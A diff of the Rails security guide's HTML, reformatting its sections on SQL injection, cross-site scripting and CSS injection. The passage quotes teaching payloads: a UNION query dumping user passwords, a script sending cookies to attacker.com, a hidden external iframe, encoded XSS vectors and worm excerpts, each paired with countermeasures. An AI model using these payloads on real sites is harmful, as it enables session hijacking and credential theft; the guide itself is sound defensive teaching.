+<div class="paragraph"><p>And now let&#8217;s inject another query using the UNION statement:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --</tt></pre>
</div></div>
-<div class="para"><p>This will result in the following SQL query:</p></div>
+<div class="paragraph"><p>This will result in the following SQL query:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>SELECT * FROM projects WHERE (name = '') UNION
SELECT id,login AS name,password AS description,1,1,1 FROM users --')</tt></pre>
</div></div>
-<div class="para"><p>The result won't be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That's why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query.</p></div>
-<div class="para"><p>Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails <a href="http://www.rorsecurity.info/2008/09/08/sql-injection-issue-in-limit-and-offset-parameter/">to at least 2.1.1</a>.</p></div>
+<div class="paragraph"><p>The result won&#8217;t be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That&#8217;s why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query.</p></div>
+<div class="paragraph"><p>Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails <a href="http://www.rorsecurity.info/2008/09/08/sql-injection-issue-in-limit-and-offset-parameter/">to at least 2.1.1</a>.</p></div>
<h4 id="_countermeasures_2">8.2.4. Countermeasures</h4>
-<div class="para"><p>Ruby on Rails has a built in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. <span style="background-color: #fffcdb;">Using Model.find(id) or Model.find_by_some thing(something) automatically applies this countermeasure[,#fffcdb]</span>. But in SQL fragments, especially <span style="background-color: #fffcdb;">in conditions fragments (:conditions &#8658; "&#8230;"), the connection.execute() or Model.find_by_sql() methods, it has to be applied manually</span>.</p></div>
-<div class="para"><p>Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this:</p></div>
+<div class="paragraph"><p>Ruby on Rails has a built in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. <span style="background-color: #fffcdb;">Using Model.find(id) or Model.find_by_some thing(something) automatically applies this countermeasure[,#fffcdb]</span>. But in SQL fragments, especially <span style="background-color: #fffcdb;">in conditions fragments (:conditions =&gt; "..."), the connection.execute() or Model.find_by_sql() methods, it has to be applied manually</span>.</p></div>
+<div class="paragraph"><p>Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>Model<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>first<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"login = ? AND password = ?"</span><span style="color: #990000">,</span> entered_user_name<span style="color: #990000">,</span> entered_password<span style="color: #990000">])</span>
-</tt></pre></div></div>
-<div class="para"><p>As you can see, the first part of the array is an SQL fragment with question marks. The sanitized versions of the variables in the second part of the array replace the question marks. Or you can pass a hash for the same result:</p></div>
+<pre><tt>Model<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>first<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"login = ? AND password = ?"</span><span style="color: #990000">,</span> entered_user_name<span style="color: #990000">,</span> entered_password<span style="color: #990000">])</span></tt></pre></div></div>
+<div class="paragraph"><p>As you can see, the first part of the array is an SQL fragment with question marks. The sanitized versions of the variables in the second part of the array replace the question marks. Or you can pass a hash for the same result:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>Model<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>first<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>login <span style="color: #990000">=&gt;</span> entered_user_name<span style="color: #990000">,</span> <span style="color: #990000">:</span>password <span style="color: #990000">=&gt;</span> entered_password<span style="color: #FF0000">}</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>The array or hash form is only available in model instances. You can try <tt>sanitize_sql()</tt> elsewhere. <span style="background-color: #fffcdb;">Make it a habit to think about the security consequences when using an external string in SQL</span>.</p></div>
+<pre><tt>Model<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>first<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>login <span style="color: #990000">=&gt;</span> entered_user_name<span style="color: #990000">,</span> <span style="color: #990000">:</span>password <span style="color: #990000">=&gt;</span> entered_password<span style="color: #FF0000">}</span><span style="color: #990000">)</span></tt></pre></div></div>
+<div class="paragraph"><p>The array or hash form is only available in model instances. You can try <tt>sanitize_sql()</tt> elsewhere. <span style="background-color: #fffcdb;">Make it a habit to think about the security consequences when using an external string in SQL</span>.</p></div>
<h3 id="_cross_site_scripting_xss">8.3. Cross-Site Scripting (XSS)</h3>
-<div class="para"><p>&#8212; <em>The most widespread, and one of the most devastating security vulnerabilities in web applications is XSS. This malicious attack injects client-side executable code. Rails provides helper methods to fend these attacks off.</em></p></div>
+<div class="paragraph"><p>-- <em>The most widespread, and one of the most devastating security vulnerabilities in web applications is XSS. This malicious attack injects client-side executable code. Rails provides helper methods to fend these attacks off.</em></p></div>
<h4 id="_entry_points">8.3.1. Entry points</h4>
-<div class="para"><p>An entry point is a vulnerable URL and its parameters where an attacker can start an attack.</p></div>
-<div class="para"><p>The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter – obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the <a href="http://livehttpheaders.mozdev.org/">Live HTTP Headers Firefox plugin</a>, or client-site proxies make it easy to change requests.</p></div>
-<div class="para"><p>XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session; redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser.</p></div>
-<div class="para"><p>During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The <a href="http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf">Symantec Global Internet Security threat report</a> also documented 239 browser plug-in vulnerabilities in the last six months of 2007. <a href="http://pandalabs.pandasecurity.com/archive/MPack-uncovered_2100_.aspx">Mpack</a> is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites <a href="http://www.0x000000.com/?i=556">were hacked</a> like this, among them the British government, United Nations and many more high targets.</p></div>
-<div class="para"><p>A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to <a href="http://blog.trendmicro.com/myspace-excite-and-blick-serve-up-malicious-banner-ads/">Trend Micro</a>.</p></div>
+<div class="paragraph"><p>An entry point is a vulnerable URL and its parameters where an attacker can start an attack.</p></div>
+<div class="paragraph"><p>The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter – obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the <a href="http://livehttpheaders.mozdev.org/">Live HTTP Headers Firefox plugin</a>, or client-site proxies make it easy to change requests.</p></div>
+<div class="paragraph"><p>XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session; redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser.</p></div>
+<div class="paragraph"><p>During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The <a href="http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf">Symantec Global Internet Security threat report</a> also documented 239 browser plug-in vulnerabilities in the last six months of 2007. <a href="http://pandalabs.pandasecurity.com/archive/MPack-uncovered_2100_.aspx">Mpack</a> is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites <a href="http://www.0x000000.com/?i=556">were hacked</a> like this, among them the British government, United Nations and many more high targets.</p></div>
+<div class="paragraph"><p>A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to <a href="http://blog.trendmicro.com/myspace-excite-and-blick-serve-up-malicious-banner-ads/">Trend Micro</a>.</p></div>
<h4 id="_html_javascript_injection">8.3.2. HTML/JavaScript Injection</h4>
-<div class="para"><p>The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. <span style="background-color: #fffcdb;">Escaping user input is essential</span>.</p></div>
-<div class="para"><p>Here is the most straightforward test to check for XSS:</p></div>
+<div class="paragraph"><p>The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. <span style="background-color: #fffcdb;">Escaping user input is essential</span>.</p></div>
+<div class="paragraph"><p>Here is the most straightforward test to check for XSS:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>&lt;script&gt;alert('Hello');&lt;/script&gt;</tt></pre>
</div></div>
-<div class="para"><p>This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places:</p></div>
+<div class="paragraph"><p>This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>&lt;img src=javascript:alert('Hello')&gt;
&lt;table background="javascript:alert('Hello')"&gt;</tt></pre>
</div></div>
<h5 id="_cookie_theft">Cookie theft</h5>
-<div class="para"><p>These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the document.cookie property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page:</p></div>
+<div class="paragraph"><p>These examples don&#8217;t do any harm so far, so let&#8217;s see how an attacker can steal the user&#8217;s cookie (and thus hijack the user&#8217;s session). In JavaScript you can use the document.cookie property to read and write the document&#8217;s cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>&lt;script&gt;document.write(document.cookie);&lt;/script&gt;</tt></pre>
</div></div>
-<div class="para"><p>For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL <a href="http://www.attacker.com/">http://www.attacker.com/</a> plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victims cookie.</p></div>
+<div class="paragraph"><p>For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL <a href="http://www.attacker.com/">http://www.attacker.com/</a> plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server&#8217;s access log files to see the victims cookie.</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>&lt;script&gt;document.write('&lt;img src="http://www.attacker.com/' + document.cookie + '"&gt;');&lt;/script&gt;</tt></pre>
</div></div>
-<div class="para"><p>The log files on www.attacker.com will read like this:</p></div>
+<div class="paragraph"><p>The log files on www.attacker.com will read like this:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2</tt></pre>
</div></div>
-<div class="para"><p>You can mitigate these attacks (in the obvious way) by adding the <a href="http://dev.rubyonrails.org/ticket/8895">httpOnly</a> flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies <a href="http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/">will still be visible using Ajax</a>, though.</p></div>
+<div class="paragraph"><p>You can mitigate these attacks (in the obvious way) by adding the <a href="http://dev.rubyonrails.org/ticket/8895">httpOnly</a> flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies <a href="http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/">will still be visible using Ajax</a>, though.</p></div>
<h5 id="_defacement">Defacement</h5>
-<div class="para"><p>With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:</p></div>
+<div class="paragraph"><p>With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>&lt;iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”&gt;&lt;/iframe&gt;</tt></pre>
</div></div>
-<div class="para"><p>This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iFrame is taken from an <a href="http://www.symantec.com/enterprise/security_response/weblog/2007/06/italy_under_attack_mpack_gang.html">actual attack</a> on legitimate Italian sites using the <a href="http://isc.sans.org/diary.html?storyid=3015">Mpack attack framework</a>. Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed.</p></div>
-<div class="para"><p>A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attackers site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.</p></div>
-<div class="para"><p>Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson&#8230;":</p></div>
+<div class="paragraph"><p>This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iFrame is taken from an <a href="http://www.symantec.com/enterprise/security_response/weblog/2007/06/italy_under_attack_mpack_gang.html">actual attack</a> on legitimate Italian sites using the <a href="http://isc.sans.org/diary.html?storyid=3015">Mpack attack framework</a>. Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed.</p></div>
+<div class="paragraph"><p>A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site&#8217;s original, but transmits the user name and password to the attackers site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.</p></div>
+<div class="paragraph"><p>Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson...":</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1--&gt;
&lt;script src=http://www.securitylab.ru/test/sc.js&gt;&lt;/script&gt;&lt;!--</tt></pre>
</div></div>
<h5 id="_countermeasures_3">Countermeasures</h5>
-<div class="para"><p><span style="background-color: #fffcdb;">It is very important to filter malicious input, but it is also important to escape the output of the web application</span>.</p></div>
-<div class="para"><p>Especially for XSS, it is important to do <span style="background-color: #fffcdb;">whitelist input filtering instead of blacklist</span>. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete.</p></div>
-<div class="para"><p>Imagine a blacklist deletes “script” from the user input. Now the attacker injects “&lt;scrscriptipt&gt;”, and after the filter, “&lt;script&gt;” remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:</p></div>
+<div class="paragraph"><p><span style="background-color: #fffcdb;">It is very important to filter malicious input, but it is also important to escape the output of the web application</span>.</p></div>
+<div class="paragraph"><p>Especially for XSS, it is important to do <span style="background-color: #fffcdb;">whitelist input filtering instead of blacklist</span>. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete.</p></div>
+<div class="paragraph"><p>Imagine a blacklist deletes “script” from the user input. Now the attacker injects “&lt;scrscriptipt&gt;”, and after the filter, “&lt;script&gt;” remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>strip_tags("some&lt;&lt;b&gt;script&gt;alert('hello')&lt;&lt;/b&gt;/script&gt;")</tt></pre>
</div></div>
-<div class="para"><p>This returned "some&lt;script&gt;alert(<em>hello</em>)&lt;/script&gt;", which makes an attack work. That's why I vote for a whitelist approach, using the updated Rails 2 method sanitize():</p></div>
+<div class="paragraph"><p>This returned "some&lt;script&gt;alert(<em>hello</em>)&lt;/script&gt;", which makes an attack work. That&#8217;s why I vote for a whitelist approach, using the updated Rails 2 method sanitize():</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
s = sanitize(user_input, :tags =&gt; tags, :attributes =&gt; %w(href title))</tt></pre>
</div></div>
-<div class="para"><p>This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.</p></div>
-<div class="para"><p>As a second step, <span style="background-color: #fffcdb;">it is good practice to escape all output of the application</span>, especially when re-displaying user input, which hasn't been input filtered (as in the search form example earlier on). <span style="background-color: #fffcdb;">Use escapeHTML() (or its alias h()) method</span> to replace the HTML input characters &amp;,",&lt;,&gt; by its uninterpreted representations in HTML (&amp;amp;, &amp;quot;, &amp;lt; and &amp;gt;). However, it can easily happen that the programmer forgets to use it, so <span style="background-color: #fffcdb;">it is recommended to use the <a href="http://safe-erb.rubyforge.org/svn/plugins/safe_erb/">SafeErb</a> plugin</span>. SafeErb reminds you to escape strings from external sources.</p></div>
+<div class="paragraph"><p>This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.</p></div>
+<div class="paragraph"><p>As a second step, <span style="background-color: #fffcdb;">it is good practice to escape all output of the application</span>, especially when re-displaying user input, which hasn&#8217;t been input filtered (as in the search form example earlier on). <span style="background-color: #fffcdb;">Use escapeHTML() (or its alias h()) method</span> to replace the HTML input characters &amp;,",&lt;,&gt; by its uninterpreted representations in HTML (&amp;, &quot;, &lt; and &gt;). However, it can easily happen that the programmer forgets to use it, so <span style="background-color: #fffcdb;">it is recommended to use the <a href="http://safe-erb.rubyforge.org/svn/plugins/safe_erb/">SafeErb</a> plugin</span>. SafeErb reminds you to escape strings from external sources.</p></div>
<h5 id="_obfuscation_and_encoding_injection">Obfuscation and Encoding Injection</h5>
-<div class="para"><p>Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding:</p></div>
+<div class="paragraph"><p>Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>&lt;IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;
&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;&gt;</tt></pre>
</div></div>
-<div class="para"><p>This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the <a href="http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php">Hackvertor</a>. Rails‘ sanitize() method does a good job to fend off encoding attacks.</p></div>
+<div class="paragraph"><p>This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the <a href="http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php">Hackvertor</a>. Rails‘ sanitize() method does a good job to fend off encoding attacks.</p></div>
<h4 id="_examples_from_the_underground">8.3.3. Examples from the underground</h4>
-<div class="para"><p>&#8212; <em>In order to understand today's attacks on web applications, it's best to take a look at some real-world attack vectors.</em></p></div>
-<div class="para"><p>The following is an excerpt from the <a href="http://www.symantec.com/security_response/writeup.jsp?docid=2006-061211-4111-99&amp;tabid=1">Js.Yamanner@m</a> Yahoo! Mail <a href="http://groovin.net/stuff/yammer.txt">worm</a>. It appeared on June 11, 2006 and was the first webmail interface worm:</p></div>
+<div class="paragraph"><p>-- <em>In order to understand today&#8217;s attacks on web applications, it&#8217;s best to take a look at some real-world attack vectors.</em></p></div>
+<div class="paragraph"><p>The following is an excerpt from the <a href="http://www.symantec.com/security_response/writeup.jsp?docid=2006-061211-4111-99&amp;tabid=1">Js.Yamanner@m</a> Yahoo! Mail <a href="http://groovin.net/stuff/yammer.txt">worm</a>. It appeared on June 11, 2006 and was the first webmail interface worm:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>&lt;img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
target=""onload="var http_request = false; var Email = '';
var IDList = ''; var CRumb = ''; function makeRequest(url, Func, Method,Param) { ...</tt></pre>
</div></div>
-<div class="para"><p>The worms exploits a hole in Yahoo's HTML/JavaScript filter, it usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.</p></div>
-<div class="para"><p>Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details and a video demonstration on <a href="http://rosario.valotta.googlepages.com/home">Rosario Valotta's website</a>. Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.</p></div>
-<div class="para"><p>In December 2006, 34,000 actual user names and passwords were stolen in a <a href="http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html">MySpace phishing attack</a>. The idea of the attack was to create a profile page named “login_home_index_html”, so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.</p></div>
-<div class="para"><p>The MySpace Samy worm will be discussed in the CSS Injection section.</p></div>
+<div class="paragraph"><p>The worms exploits a hole in Yahoo&#8217;s HTML/JavaScript filter, it usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.</p></div>
+<div class="paragraph"><p>Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details and a video demonstration on <a href="http://rosario.valotta.googlepages.com/home">Rosario Valotta&#8217;s website</a>. Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.</p></div>
+<div class="paragraph"><p>In December 2006, 34,000 actual user names and passwords were stolen in a <a href="http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html">MySpace phishing attack</a>. The idea of the attack was to create a profile page named “login_home_index_html”, so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.</p></div>
+<div class="paragraph"><p>The MySpace Samy worm will be discussed in the CSS Injection section.</p></div>
<h3 id="_css_injection">8.4. CSS Injection</h3>
-<div class="para"><p>&#8212; <em>CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application.</em></p></div>
-<div class="para"><p>CSS Injection is explained best by a well-known worm, the <a href="http://namb.la/popular/tech.html">MySpace Samy worm</a>. This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, but it creates too much traffic on MySpace, so that the site goes offline. The following is a technical explanation of the worm.</p></div>
-<div class="para"><p>MySpace blocks many tags, however it allows CSS. So the worm's author put JavaScript into CSS like this:</p></div>
+<div class="paragraph"><p>-- <em>CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application.</em></p></div>
+<div class="paragraph"><p>CSS Injection is explained best by a well-known worm, the <a href="http://namb.la/popular/tech.html">MySpace Samy worm</a>. This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, but it creates too much traffic on MySpace, so that the site goes offline. The following is a technical explanation of the worm.</p></div>
+<div class="paragraph"><p>MySpace blocks many tags, however it allows CSS. So the worm&#8217;s author put JavaScript into CSS like this:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>&lt;div style="background:url('javascript:alert(1)')"&gt;</tt></pre>
</div></div>
-<div class="para"><p>So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript allows has a handy eval() function which executes any string as code.</p></div>
+<div class="paragraph"><p>So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript allows has a handy eval() function which executes any string as code.</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>&lt;div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')"&gt;</tt></pre>
</div></div>
-<div class="para"><p>The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word “innerHTML”:</p></div>
+<div class="paragraph"><p>The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word “innerHTML”:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>alert(eval('document.body.inne' + 'rHTML'));</tt></pre>
</div></div>
-<div class="para"><p>The next problem was MySpace filtering the word “javascript”, so the author used “java&lt;NEWLINE&gt;script" to get around this:</p></div>
+<div class="paragraph"><p>The next problem was MySpace filtering the word “javascript”, so the author used “java&lt;NEWLINE&gt;script" to get around this:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>&lt;div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')"&gt;</tt></pre>
</div></div>
-<div class="para"><p>Another problem for the worm's author were CSRF security tokens. Without them he couldn't send a friend request over POST. He got around it by sending a GET to the page right before adding a the user and parsing the result for the CSRF token.</p></div>
-<div class="para"><p>In the end, he got a 4 KB worm, which he injected into his profile page.</p></div>
-<div class="para"><p>The <a href="http://www.securiteam.com/securitynews/5LP051FHPE.html">moz-binding</a> CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example).</p></div>
+<div class="paragraph"><p>Another problem for the worm&#8217;s author were CSRF security tokens. Without them he couldn&#8217;t send a friend request over POST. He got around it by sending a GET to the page right before adding a the user and parsing the result for the CSRF token.</p></div>
+<div class="paragraph"><p>In the end, he got a 4 KB worm, which he injected into his profile page.</p></div>
+<div class="paragraph"><p>The <a href="http://www.securiteam.com/securitynews/5LP051FHPE.html">moz-binding</a> CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example).</p></div>
<h4 id="_countermeasures_4">8.4.1. Countermeasures</h4>
-<div class="para"><p>This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. <span style="background-color: #fffcdb;">If you want to allow custom colours or images, you can allow the user to choose them and build the CSS in the web application</span>. Use Rails' <tt>sanitize()</tt> method as a model for a whitelist CSS filter, if you really need one.</p></div>
+<div class="paragraph"><p>This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. <span style="background-color: #fffcdb;">If you want to allow custom colours or images, you can allow the user to choose them and build the CSS in the web application</span>. Use Rails' <tt>sanitize()</tt> method as a model for a whitelist CSS filter, if you really need one.</p></div>
<h3 id="_textile_injection">8.5. Textile Injection</h3>
-<div class="para"><p>&#8212; <em>If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. <a href="http://whytheluckystiff.net/ruby/redcloth/">RedCloth</a> is such a language for Ruby, but without precautions, it is also vulnerable to XSS.</em></p></div>
+<div class="paragraph"><p>-- <em>If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. <a href="http://whytheluckystiff.net/ruby/redcloth/">RedCloth</a> is such a language for Ruby, but without precautions, it is also vulnerable to XSS.</em></p></div>
<div class="literalblock">
<div class="content">
